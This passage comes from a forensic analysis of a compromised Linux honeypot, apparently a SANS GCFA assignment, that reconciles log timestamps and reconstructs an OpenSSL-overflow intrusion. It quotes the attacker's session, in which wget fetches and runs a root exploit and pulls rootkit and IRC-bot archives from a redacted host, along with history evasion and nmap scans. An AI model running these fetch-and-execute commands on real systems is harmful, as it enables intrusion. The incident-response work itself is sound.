2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

```
Jun 29 15:50:35 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 src=192.168.2.15 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2
```

Tcpdump from snort host;

```
15:42:10.704332 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)
```

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:
- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

```
Mon Jun 30 17:18:51 CST 2003
```

Sebek log event for recording starttime for live response;

```
23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mcnc 192.168.2.120 1111
```

The command `snort –r tcpdump.log.1056855401 > tcpdump.out` was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

```
06/30-17:10:23.402854 192.168.2.15:4135 --> 192.168.1.120:1111
TCP TTL:64 TOS:0x0 ID:54820 IpLen:20 DgmLen:81 DF
***AD*** Seq: OxBADFF174 Ack: 0xClA03AD7 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 62409666 28142280
4D 6F 6E 20 4A 75 6E 30 31 37 3A 31 38 Mon Jun 30 17:18
3A 0A
```

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxpl -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision's BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”17 signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX.108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.
```

```
14:47:43.776380 XXX.XXX.108.64.55526 > 192.168.2.15.80:19:19(0) ack 678 win 6760 <nop,nop,timestamp 5846797 52965022> (DF)
```

```
14:47:43.776598 192.168.2.15.80 > XXX.XXX.108.64.34919: P 1:677(676) ack 1 win 5792 <nop,nop,timestamp 52965051 5846797> (DF)
```

**IP XXX.XXX.108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.**

```
14:56:15.562708 XXX.XXX.108.64.55526 > 192.168.2.15.80:19:19(0) ack 678 win 6760 <nop,nop,timestamp 5846797 52965022> (DF)
```

```
14:56:15.562910 192.168.2.15.80 > XXX.XXX.108.64.34919: P 1:677(676) ack 1 win 5792 <nop,nop,timestamp 52965051 5846797> (DF)
```

17 OpenSSL servers contain a buffer overflow during the SSL2 handshake process**, (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
Using Tcpflow we see the request send from XXX.XXX.108.64.34919-192.168.002.015.00080
GET / HTTP/1.1

The response sent from 192.168.002.015.00080-XXX.XXX.108.64.34919
HTTP/1.1 400 Bad Request
Date: Sun, 29 Jun 2003 21:06:18 GMT
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

34 port 443 request are sent to the victim, below is one sample

34:56:16.137671 192.168.2.15:80 > XXX.XXX.108.64.34919: . ack 20 win 5792 <nop,timestamp 52965080 58486278> (DF)

The tcpdump binary log was parsed through tcpflow with the syntax

```
tcpflow -r tcpdump.log.1056866401 'port 34919'
```

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and
192.168.002.015.00080-XXX.XXX.108.64.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named “r” is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'.
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => ‘s.tar.gz’
.
.
15:11:18 (195.87 KB/s) - ’s.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz;rm -rf s.tar.gz;
  .
  .
  .
ls
ls -al
total 39
  .
  .
drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
  .
  .

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow session starts at 15:18:27 and completes at 15:30:03.

```

dir -al

total 64
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
drwxrwxxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .X11-lock
drwxrwxxrwt 2 root root 1024 Jun 23 12:00 .font unix
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .kde
srwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
srwxr-xr-x 2 root root 1024 Jun 20 10:17 .rnd
srwxr-xr-x 4 502 502 1024 Jun 29 15:22 .
-rwxr-xr-x 1 root root 2447 Jun 20 10:17 .Xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rwxr-xr-x 1 root root 4133 Jun 20 04:14 XF86Config.test
drwxx-------- 2 userid1 userid1 1024 Jun 29 15:28 apache
-rwxr-xr-x 1 apache apache 24012 Jun 29 15:28 r
-rwxr-xr-x 2 root root 1024 Jun 20 02:20 texconf.Nzu100

/r
readline: warning: rl_prep_terminal: cannot get terminal settingsbash: 2.05a9 bash:
[19893: 1] tcsetattr: Invalid argument

cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settingsbash: 2.05a9 bash: cd: font-unix: No such file or directory

cd .font-unix
```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash

```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;
```

get terminal settingsbash

```
-> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
```

```
```

tar (child): bot.tgz: Cannot open: No such file or directory

tar (child): Error is not recoverable: exiting now

tar: Child returned status 2

tar: Error exit delayed from previous errors

bash: [:19893: 1] tcsetattr: Invalid argument

bash: cd: .X11-pipe: No such file or directory

chmod: getting attributes of `-inetd/services': No such file or directory

bash: `-inetd/services': No such file or directory

```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;
```

```
inetd/services
```

readline: warning: rl_prep_terminal: cannot get terminal settingsbash

```
15:32:50 (179.21 KB/s) --25% `bot.tgz'
saved [764880/764880]
```

```
.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsayoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h

```
Kevin Miller - Sans GCFA Assignment – v1.4 Page 186

.X11-pipe/src/h.h
.X11-pipe/src/link.c
.X11-pipe/src/main.c
.X11-pipe/src/gencmd.c
.X11-pipe/src/parse.c
.X11-pipe/src/socket.c
.X11-pipe/src/structs.h
.X11-pipe/src/usage.h
.X11-pipe/src/userlist.c
.X11-pipe/src/vars.c
.X11-pipe/src/xmech.c
.X11-pipe/src/Makefile
.X11-pipe/src/config.h
.X11-pipe/src/gencmd
.X11-pipe/src/mcmd.h
.X11-pipe/src/cfgfile.o
.X11-pipe/src/channel.o
.X11-pipe/src/com-ons.o
.X11-pipe/src/combos.o
.X11-pipe/src/commands.o
.X11-pipe/src/dcc.o
.X11-pipe/src/debug.o
.X11-pipe/src/function.o
.X11-pipe/src/link.o
.X11-pipe/src/main.o
.X11-pipe/src/parse.o
.X11-pipe/src/socket.o
.X11-pipe/src/userlist.o
.X11-pipe/src/vars.o
.X11-pipe/src/xmech.o
.X11-pipe/mec.set
.X11-pipe/mec.levels
.X11-pipe/LinkEvents
.X11-pipe/lpd.usr
.X11-pipe/M4c4r0n.seen
.X11-pipe/lpd.session
.X11-pipe/checklpd
.X11-pipe/inetd/
.X11-pipe/inetd/services
bash: [19893: 1] tcsetattr: Invalid argument

ps ax

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05$ PID TTY STAT TIME COMMAND
  1 ? S  0:04 init
  2 ? SW  0:00 [keventd]
  3 ? SW  0:00 [kapsmd]
  4 ? SWN  0:00 [ksoftirqd_CPU0]
  5 ? SW  0:02 [kswapd]
  6 ? SW  0:00 [bdflush]
  7 ? SW  0:00 [kudated]
  8 ? SW  0:00 [mdrecoveryd]
  12 ? SW  0:00 [kjournald]
  91 ? SW  0:00 [khubd]
 186 ? SW  0:00 [kjournald]
 187 ? SW  0:00 [kjournald]
 188 ? SW  0:00 [kjournald]
 189 ? SW  0:00 [kjournald]
 657 ? S  0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
 770 ? S  0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
 790 ? SL  0:01 ntpd -U ntp -g
 842 ? S  0:01 /usr/sbin/sshd
 875 ? S  0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
 916 ? S  0:00 sendmail: accepting connections
 935 ? S  0:00 gpm -t ps/2 -m /dev/mouse
 953 ? S  0:00 crond
1005 ? S  0:03 xfs -droppriv -daemon
<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>1041</td>
<td>kevin</td>
<td>sudo /usr/sbin/atsd</td>
</tr>
<tr>
<td>1050</td>
<td>kevin</td>
<td>sudo /sbin/minetty ttyl</td>
</tr>
<tr>
<td>1051</td>
<td>kevin</td>
<td>sudo /sbin/minetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>kevin</td>
<td>sudo /sbin/minetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>kevin</td>
<td>sudo /sbin/minetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>kevin</td>
<td>sudo /sbin/minetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>kevin</td>
<td>sudo /sbin/minetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>kevin</td>
<td>/usr/bin/kdm -nodeamon</td>
</tr>
<tr>
<td>1066</td>
<td>kevin</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEgz</td>
</tr>
<tr>
<td>1067</td>
<td>kevin</td>
<td>/usr/bin/bash</td>
</tr>
<tr>
<td>1091</td>
<td>kevin</td>
<td>/bin/sh /usr/bin/startkde</td>
</tr>
<tr>
<td>1175</td>
<td>kevin</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>1178</td>
<td>kevin</td>
<td>kdeinit: dconfserver --nosid</td>
</tr>
<tr>
<td>1181</td>
<td>kevin</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>kevin</td>
<td>kdeinit: kded</td>
</tr>
<tr>
<td>1192</td>
<td>kevin</td>
<td>/usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l</td>
</tr>
<tr>
<td>1203</td>
<td>kevin</td>
<td>kdeinit: knotify</td>
</tr>
<tr>
<td>1208</td>
<td>kevin</td>
<td>kwrapper ksmsserver --restore</td>
</tr>
<tr>
<td>1209</td>
<td>kevin</td>
<td>kwrapper ksmsserver --restore</td>
</tr>
<tr>
<td>1211</td>
<td>kevin</td>
<td>kdeinit: kwin --session 117f0000010001056126293000008</td>
</tr>
<tr>
<td>1217</td>
<td>kevin</td>
<td>kdeinit: kicker</td>
</tr>
<tr>
<td>1219</td>
<td>kevin</td>
<td>autorun --interval=1000 --cdplayer=/usr/bin/kscd</td>
</tr>
<tr>
<td>1223</td>
<td>kevin</td>
<td>kdeinit: klipper -icon klipper --miniicon klipper</td>
</tr>
<tr>
<td>1226</td>
<td>kevin</td>
<td>kdeinit: kwirmed</td>
</tr>
<tr>
<td>1227</td>
<td>kevin</td>
<td>kdeinit: korgac --miniicon korganizer</td>
</tr>
<tr>
<td>1230</td>
<td>kevin</td>
<td>kalarmd --login</td>
</tr>
<tr>
<td>1232</td>
<td>kevin</td>
<td>kdeinit: konsole -icon konsole --miniicon konsole</td>
</tr>
<tr>
<td>1234</td>
<td>kevin</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>1266</td>
<td>kevin</td>
<td>/dev/null</td>
</tr>
<tr>
<td>1269</td>
<td>kevin</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>6133</td>
<td>kevin</td>
<td>kdeinit: kcookiejar</td>
</tr>
<tr>
<td>6135</td>
<td>kevin</td>
<td>kdesud</td>
</tr>
<tr>
<td>7168</td>
<td>kevin</td>
<td>kdeinit: konsole -icon konsole --miniicon konsole</td>
</tr>
<tr>
<td>7170</td>
<td>kevin</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>7203</td>
<td>kevin</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>7206</td>
<td>kevin</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>8125</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>8154</td>
<td>kevin</td>
<td>/usr/sbin/snmpd -s -l /dev/null -P /var/run/snmpd -a</td>
</tr>
<tr>
<td>10060</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10607</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10608</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10609</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10610</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10611</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10614</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10615</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19365</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19366</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19367</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19368</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19369</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19370</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19371</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19372</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19373</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19374</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19375</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19376</td>
<td>kevin</td>
<td>/usr/sbin/httpsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19488</td>
<td>kevin</td>
<td>bash -i</td>
</tr>
<tr>
<td>19504</td>
<td>kevin</td>
<td>/r</td>
</tr>
<tr>
<td>19505</td>
<td>kevin</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>19507</td>
<td>kevin</td>
<td>kdeinit: dconfserver --restore</td>
</tr>
<tr>
<td>19508</td>
<td>kevin</td>
<td>kdeinit: dconfserver --restore</td>
</tr>
<tr>
<td>19509</td>
<td>kevin</td>
<td>kdeinit: dconfserver --restore</td>
</tr>
<tr>
<td>19635</td>
<td>kevin</td>
<td>miniogd</td>
</tr>
<tr>
<td>19678</td>
<td>kevin</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19685</td>
<td>kevin</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19686</td>
<td>kevin</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19694</td>
<td>kevin</td>
<td>cp -f killall /usr/bin/</td>
</tr>
<tr>
<td>19697</td>
<td>kevin</td>
<td>cp -f &amp;</td>
</tr>
<tr>
<td>19701</td>
<td>kevin</td>
<td>cp -f find /usr/bin/</td>
</tr>
</tbody>
</table>
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

<table>
<thead>
<tr>
<th>Time</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>13:56:00</td>
<td>19:51:46</td>
</tr>
<tr>
<td>Date</td>
<td>21/10/1971</td>
</tr>
<tr>
<td>Shell</td>
<td>[0:bash:20000:pts:0]</td>
</tr>
<tr>
<td>Commands</td>
<td>unset HISTFILES</td>
</tr>
</tbody>
</table>

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.
<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>Arguments</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:42:31</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:42:55</td>
<td>ls -al</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:42:57</td>
<td>m -         dir -al</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:02</td>
<td>rm -rf .a</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:07</td>
<td>m -rf r</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:20</td>
<td>mc</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:24</td>
<td>ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:27</td>
<td>killall -9 cp chmod</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:37</td>
<td>ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:43</td>
<td>kill -9 19504 19508</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:58</td>
<td>pa ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:17</td>
<td>cd /bin</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:21</td>
<td>mkdir .EhT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:28</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:31</td>
<td>dir -a cd .font-unix</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:39</td>
<td>wget XXX.XXX.com/eladoht/samba.tgz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:01</td>
<td>tar -czvf . /samba.tgz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:12</td>
<td>rm cd samba</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:17</td>
<td>ifconfig</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:28</td>
<td>nmap XXX.XXX.*</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:50</td>
<td>ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:22</td>
<td>nmap</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:24</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:53</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:57:46</td>
<td>nmap XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:58:34</td>
<td>md5sum</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:58:53</td>
<td>netstat -a</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:59:19</td>
<td>netstat</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:00:04</td>
<td>nmap</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:02:29</td>
<td>nmap XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:02:50</td>
<td>nmap XXX.XXX.49.137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:13:31</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:20:26</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:21:34</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:25:11</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:30:59</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:32:42</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:34:31</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:35:32</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:36:44</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:38:02</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:38:55</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:40:01</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:40:58</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:47:42</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:52:08</td>
<td>nmap XXX.XXX.61.126</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXXX XXXXXX Network S.A. in Bucharest, Romania.

```
inetnum: XXX.XXX.96.0 - XXX.XXX.127.255
netname: XXXXX
descr: XXXXX XXXXXX Network S.A.
descr: XXXXXX XXXX Network
country: RO
admin-c: BT17-RIPE
tech-c: PDNN1-RIPE
status: ASSIGNED PA
notify: XXXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXXX@XXXXXX.ro 20030704
source: RIPE
route: XXX.XXX.116.0/22
descr: PCNET
origin: AS8503
notify: XXXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXXX@XXXXXX.ro 20020912
source: RIPE
role: XXXXX XXXX Network NOC
address: XXXXXXXXXXXX, nr. 10
address: Bucharest, ROMANIA
phone: +XX 1 555 86 61
phone: +XX 1 555 35 23
fax-no: +XX 1 555 49 99
e-mail: XXXXXX@XXXXXX.ro
trouble: +XX X 555 18 84
```
| admin-c: | BT17-RIPE |
| tech-c: | BT17-RIPE |
| tech-c: | AP158-RIPE |
| tech-c: | CM3059-RIPE |
| tech-c: | CN19-RIPE |
| tech-c: | IG20-RIPE |
| tech-c: | CR60-RIPE |
| nic-hdl: | PDNN1-RIPE |
| remarks: | ------------------- |
| remarks: | abuse: abuse@XXXXX.ro |
| remarks: | ------------------- |
| remarks: for escalation please directly call the technical manager |
| notify: | XXXXX@XXXXX.ro |
| mnt-by: | AS8503-MNT |
| changed: | XXXXX@XXXXX.ro 20011008 |
| source: | RIPE |
| **person:** | XXXXX XXXXX |
| remarks: | Technical Manager |
| remarks: | XXXXX XXXX Network S.A. |
| address: | Bucharest, Romania |
| phone: | +XX X 555 18 84 |
